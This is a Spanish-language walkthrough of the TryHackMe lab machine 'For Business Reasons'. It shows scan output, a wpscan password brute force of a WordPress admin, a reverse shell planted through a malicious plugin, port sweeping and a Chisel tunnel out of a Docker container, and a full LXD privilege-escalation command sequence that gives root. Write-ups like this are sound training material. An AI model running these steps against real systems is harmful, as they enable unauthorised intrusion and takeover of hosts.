For Business Reason es una maquina de TryHackMe, realizamos un ataque de contraseñas al login de WordPress para luego instalar un Plugin y obtener una shell. Nos encontramos en un contenedor de Docker donde realizamos un escaneo de la red para luego ejecutar un Tunnel con Chisel y obtener el puerto SSH que nos permitio ingresar reutilizando credenciales. Finalmente escalamos privilegios creando un nuevo contenedor con LXC.
# Nmap 7.80 scan initiated Sat Sep 19 21:19:12 2020 as: nmap -p- --min-rate 1000 -o allports bussines.thmNmap scan report for bussines.thm (10.10.85.176)Host is up (0.36s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE
22/tcp closed ssh
80/tcp open http
7946/tcp closed unknown
# Nmap done at Sat Sep 19 21:21:24 2020 -- 1 IP address (1 host up) scanned in 132.07 seconds# Nmap 7.80 scan initiated Sat Sep 19 21:21:51 2020 as: nmap -sV -sC -p 22,80,7946 -o servicesport bussines.thmNmap scan report for bussines.thm (10.10.85.176)Host is up (0.29s latency).
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.4.38 ((Debian))|_http-generator: WordPress 5.4.2
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-server-header: Apache/2.4.38 (Debian)|_http-title: MilkCo Test/POC site – Just another WordPress site7946/tcp closed unknown
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Sep 19 21:22:13 2020 -- 1 IP address (1 host up) scanned in 21.70 seconds
HTTP
Encontramos una pagina web WordPress en el puerto 80.
RUSTBUSTER
Utilizamos RUSTBUSTER para busqueda de directorios y archivos, en donde podemos observar varias direcciones las cuales se muestran diferentes a lo normal pero que son direcciones no disponibles.
kali@kali:~/thm/bussiness$ /opt/rustbuster/rustbuster dir -u http://10.10.141.160 -w /usr/share/seclists/Discovery/Web-Content/big.txt -e php,html,txt
~ rustbuster v3.0.3 ~ by phra & ps1dr3x ~
_ _ _ _ _ _ _ _ _ _
/\ \ /\_\ / /\ /\ \ / /\ /\_\ / /\ /\ \ /\ \ /\ \ / \ \/ / / _ / / \ \_\ \ / / \ / / / _ / / \ \_\ \ / \ \ / \ \ / /\ \ \ \ \__ /\_\/ / /\ \__ /\__ \ / / /\ \ \ \ \__ /\_\/ / /\ \__ /\__ \ / /\ \ \ / /\ \ \ / / /\ \_\ \___\ / / / / /\ \___\/ /_ \ \ / / /\ \ \ \ \___\ / / / / /\ \___\/ /_ \ \ / / /\ \_\ / / /\ \_\
/ / /_/ / /\__ / / / /\ \ \ \/___/ / /\ \ \/ / /\ \_\ \ \__ / / / /\ \ \ \/___/ / /\ \ \/ /_/_ \/_/ / / /_/ / /
/ / /__\/ / / / / / / / \ \ \ / / / \/_/ / /\ \ \___\ / / / / / / \ \ \ / / / \/_/ /____/\ / / /__\/ /
/ / /_____/ / / / / / _ \ \ \ / / / / / / \ \ \__// / / / / _ \ \ \ / / / / /\____\/ / / /_____/
/ / /\ \ \ / / /___/ / /_/\__/ / / / / / / / /____\_\ \ / / /___/ / /_/\__/ / / / / / / / /______ / / /\ \ \ / / / \ \ \/ / /____\/ /\ \/___/ / /_/ / / / /__________/ / /____\/ /\ \/___/ / /_/ / / / /_______/ / / \ \ \ \/_/ \_\/\/_________/ \_____\/\_\/\/_____________\/_________/ \_____\/\_\/\/__________\/_/ \_\/[?] Started at : 2020-09-19 21:25:08
GET 301 Moved Permanently http://10.10.141.160/!
=> http://10.10.141.160/
GET 301 Moved Permanently http://10.10.141.160/0
=> http://10.10.141.160/0/
GET 301 Moved Permanently http://10.10.141.160/0000
=> http://10.10.141.160/0000/
GET 301 Moved Permanently http://10.10.141.160/2020
=> http://10.10.141.160/2020/
GET 301 Moved Permanently http://10.10.141.160/asdfjkl;=> http://10.10.141.160/asdfjkl
GET 301 Moved Permanently http://10.10.141.160/atom
=> http://10.10.141.160/feed/atom/
GET 301 Moved Permanently http://10.10.141.160/embed
=> http://10.10.141.160/embed/
GET 302 Found http://10.10.141.160/favicon.ico
=> http:/wp-includes/images/w-logo-blue-white-bg.png
GET 301 Moved Permanently http://10.10.141.160/feed
=> http://10.10.141.160/feed/
GET 301 Moved Permanently http://10.10.141.160/fixed!
=> http://10.10.141.160/fixed
GET 200 OK http://10.10.141.160/images
GET 301 Moved Permanently http://10.10.141.160/index.php
=> http://10.10.141.160/
GET 200 OK http://10.10.141.160/license.txt
GET 403 Forbidden http://10.10.141.160/lost%2Bfound
GET 403 Forbidden http://10.10.141.160/lost+found
GET 301 Moved Permanently http://10.10.141.160/mysql
=> http://10.10.141.160/mysql/
GET 200 OK http://10.10.141.160/note.txt
GET 301 Moved Permanently http://10.10.141.160/page1
=> http://10.10.141.160/
GET 301 Moved Permanently http://10.10.141.160/rdf
=> http://10.10.141.160/feed/rdf/
GET 200 OK http://10.10.141.160/readme.html
GET 200 OK http://10.10.141.160/robots.txt
GET 200 OK http://10.10.141.160/robots.txt
GET 301 Moved Permanently http://10.10.141.160/rss
=> http://10.10.141.160/feed/
GET 301 Moved Permanently http://10.10.141.160/rss2
=> http://10.10.141.160/feed/
GET 301 Moved Permanently http://10.10.141.160/sample-page
=> http://10.10.141.160/sample-page/
GET 403 Forbidden http://10.10.141.160/server-status
GET 301 Moved Permanently http://10.10.141.160/wp-admin
=> http://10.10.141.160/wp-admin/
GET 200 OK http://10.10.141.160/wp-config.php
GET 301 Moved Permanently http://10.10.141.160/wp-content
=> http://10.10.141.160/wp-content/
GET 301 Moved Permanently http://10.10.141.160/wp-feed.php
=> http:/feed/
GET 301 Moved Permanently http://10.10.141.160/wp-includes
=> http://10.10.141.160/wp-includes/
GET 200 OK http://10.10.141.160/wp-login.php
GET 301 Moved Permanently http://10.10.141.160/wp-register.php
=> http:/wp-login.php?action=register
GET 301 Moved Permanently http://10.10.141.160/wp-rss2.php
=> http:/feed/
GET 405 Method Not Allowed http://10.10.141.160/xmlrpc.php
Encontramos en el archivo robots.txt la direccion del panel de wordpress, tambien vemos una nota donde hablan sobre wordpress en un contenedor de docker.
from ticket 2915 cio wants to save money- asked us to move the wordpress site off the hosted. I setup the same versions in the docker container with teh startup script. POC complete will wait on cio's office to test and see if acceptable
-BWJ
Ticket 3313
software audit found this version downlevel, added script to make sure its latest
-RLB
Ticket 3622
Quarterly password change completed
-BWJ
Ticket 4119
Quarterly password change completed
-BWJ
Ticket 4322
Auto update broke site, got a page. Disabled updates for now. emailed Rick Bligh to warn him. Emailed Bill Johnson to ask him to follow up with CIO's office and get this tested. Going back to bed.
-RLP
Ticket 4325 Updates fixed, reeneabled. RLB isn't here anymore. Talk to the CIO not me.
-BWJ
WPSCAN
Utilizamos wpscan para busqueda de vulnerabilidades y usuarios en la pagina de wordpress en donde encontramos un usuario: sysadmin y la version de wordpress. Con el usuario ejecutamos un ataque de fuerza bruta junto al wordlist rockyou.
[+] WordPress version 5.4.2 identified (Latest, released on 2020-06-10).
| Found By: Emoji Settings (Passive Detection)| - http://bussines.thm/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.4.2'| Confirmed By: Meta Generator (Passive Detection)| - http://bussines.thm/, Match: 'WordPress 5.4.2'[i] The main theme could not be detected.
[+] Enumerating Users (via Passive and Aggressive Methods) Brute Forcing Author IDs - Time: 00:00:01 <===============================================================================================================> (10 / 10) 100.00% Time: 00:00:01
[i] User(s) Identified:
[+] sysadmin
| Found By: Wp Json Api (Aggressive Detection)| - http://bussines.thm/wp-json/wp/v2/users/?per_page=100&page=1| Confirmed By:
| Rss Generator (Aggressive Detection)| Author Id Brute Forcing - Author Pattern (Aggressive Detection)| Login Error Messages (Aggressive Detection)
WWW-DATA
Utilizamos las credenciales que encontramos en wpscan para ingresar a wordpress, en donde vemos que el usuario sysadmin es administrador. Para obtener una shell creamos un “plugin” el cual se ejecuta cuando este es activado o desactivado en el panel de Plugins. Para la creacion de nuestro plugin utilizamos el siguiente archivo php el cual comprimimos con zip.
Una vez creado nuestro archivo zip ponemos a la escucha netcat en el puerto indicado en nuestra shell e instalamos el plugin en el panel de plugins. Luego de activar el plugin logramos obtener una shell con usuario www-data y nuestra flag flag0.txt.
Instalacion de Plugin
DOCKER & CHISEL
En la maquina no logramos encontrar algun tipo de binario, archivo, cron o usuario que nos ayude a escalar privilegios ya que el lugar donde nos encontramos es un contenedor de docker. Lo mencionaron en el archivo notes.txt, para comprobar esto es posible ver el directorio / donde comunmente se encuentra el archivo .dockerenv, además de ello en la carpeta de wordpress (/var/www/html) encontramos un archivo de docker que contiene la configuracion para que wordpress se ejecute en un contenedor, tambien encontramos que muchos de los comandos que comunmente se encuentran en una maquina en linux no existen.
Docker
Con todo esto lo unico que nos queda es analizar las IPs de alguna otra maquina, pero recordemos, la maquina tiene el puerto ssh (22) ¿cerrado?. Utilizando curl descargamos netcat para poder realizar un escaneo de puertos a nuestra IP e IPs.
Ejecutamos hostname -I para conocer nuestra IP ya que net-tools no esta instalado en el contenedor, realizamos un escaneo de puertos y un test de conexion al puerto 22 con la IP o IPs encontradas con los siguientes comandos:
#IP addresswww-data@803690c13932:/tmp/tmp$ hostname -I
hostname -I
10.255.0.4 172.18.0.4 10.0.0.5
#port 22 - scanwww-data@803690c13932:/tmp/tmp$ for i in {1..25};do ./nc -v -n -z -w 1 172.18.0.$i 22;done<{1..25};do ./nc -v -n -z -w 1 172.18.0.$i 22;done(UNKNOWN)[172.18.0.1]22(?) open
(UNKNOWN)[172.18.0.2]22(?) : Connection timed out
(UNKNOWN)[172.18.0.3]22(?) : Connection timed out
(UNKNOWN)[172.18.0.4]22(?) : Connection refused
[... REDACTED ...]#Test - port 22www-data@803690c13932:/tmp/tmp$ ./nc 172.18.0.1 22./nc 172.18.0.1 22SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.1
Protocol mismatch.
Vemos que el puerto 22 esta a la escucha, pero al parecer solo esta localmente (127.0.0.1:22). Para poder realizar una enumeracion a este puerto es necesario exponerlo o traerlo localmente a nuestra maquina, para ello utilizamos Chisel, 0xdf explica un poco acerca de esta herramienta. Basicamente lo que vamos a realizar es, obtener el puerto 22 de la maquina bussines.thm a un puerto local de nuestra maquina con los siguientes comandos:
Ahora podemos verificar que el puerto 22 de la IP 172.18.0.1 este localmente en el puerto 2222 de nuestro localhost:
1
2
3
4
5
6
7
kali@kali:~/thm/bussiness$ netstat -ntpl
Active Internet connections (only servers)Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 00 0.0.0.0:80 0.0.0.0:* LISTEN 12764/python3
tcp6 00 :::2222 :::* LISTEN 12882/./chisel <<<-------
tcp6 00 :::8181 :::* LISTEN 12882/./chisel
kali@kali:~/thm/bussiness$
SYSADMIN - USER
Reutilizando las credenciales del usuario sysadmin ingresamos al servicio SSH de la maquina bussines.thm mediante el puerto local 2222. Logrando obtener una shell con este usuario y nuestra flag flag1.txt.
PRIVILEGE ESCALATION
Hacemos una pequeña enumeracion con id y vemos que el usuario pertenece al grupo de lxd.
1
2
sysadmin@ubuntu:~$ id
uid=1000(sysadmin)gid=1000(sysadmin)groups=1000(sysadmin),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),122(docker)
Ya que este usuario pertenece a este grupo (lxd) vamos a escalar privilegios a traves de este al igual que en la maquina de THM - GamingServer.
1
2
3
4
5
6
7
8
9
10
11
12
13
#LOCALgit clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine -a i686
#BUSSINES.THM MACHINElxc image import ./alpine-v3.12-i686-20200831_2152.tar.gz --alias myimage
lxc image list
lxc init myimage sckull -c security.privileged=truelxc config device add sckull mydevice disk source=/ path=/mnt/root recursive=truelxc start sckull
lxc exec sckull /bin/sh
Logramos obtener una shell con usuario root y nuestra ultima flag flag2.txt.